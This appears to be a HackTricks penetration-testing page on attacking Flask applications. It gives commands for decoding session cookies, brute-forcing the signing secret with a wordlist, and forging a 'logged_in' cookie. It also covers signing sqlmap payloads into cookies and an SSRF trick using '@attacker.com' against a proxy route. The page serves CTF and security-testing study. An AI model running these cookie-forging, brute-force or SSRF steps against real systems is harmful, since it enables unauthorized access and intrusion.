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107 lines
2.5 KiB
Markdown
107 lines
2.5 KiB
Markdown
# Flask
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{{#include ../../banners/hacktricks-training.md}}
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**Probably if you are playing a CTF a Flask application will be related to** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/index.html)**.**
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## Cookies
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Default cookie session name is **`session`**.
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### Decoder
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Online Flask coockies decoder: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
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#### Manual
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Get the first part of the cookie until the first point and Base64 decode it>
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```bash
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echo "ImhlbGxvIg" | base64 -d
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```
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The cookie is also signed using a password
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### **Flask-Unsign**
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Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.
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{{#ref}}
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https://pypi.org/project/flask-unsign/
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{{#endref}}
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```bash
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pip3 install flask-unsign
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```
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#### **Decode Cookie**
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```bash
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flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
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```
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#### **Brute Force**
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```bash
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flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
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```
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#### **Signing**
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```bash
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flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
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```
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#### Signing using legacy (old versions)
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```bash
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flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
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```
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### **RIPsession**
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Command line tool to brute-force websites using cookies crafted with flask-unsign.
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{{#ref}}
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https://github.com/Tagvi/ripsession
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{{#endref}}
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```bash
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ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
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```
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### SQLi in Flask session cookie with SQLmap
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[**This example**](../../pentesting-web/sql-injection/sqlmap/index.html#eval) uses sqlmap `eval` option to **automatically sign sqlmap payloads** for flask using a known secret.
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## Flask Proxy to SSRF
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[**In this writeup**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) it's explained how Flask allows a request starting with the charcter "@":
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```http
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GET @/ HTTP/1.1
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Host: target.com
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Connection: close
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```
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Which in the following scenario:
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```python
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from flask import Flask
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from requests import get
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app = Flask('__main__')
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SITE_NAME = 'https://google.com/'
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@app.route('/', defaults={'path': ''})
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@app.route('/<path:path>')
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def proxy(path):
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return get(f'{SITE_NAME}{path}').content
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app.run(host='0.0.0.0', port=8080)
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```
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Could allow to introduce something like "@attacker.com" in order to cause a **SSRF**.
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{{#include ../../banners/hacktricks-training.md}}
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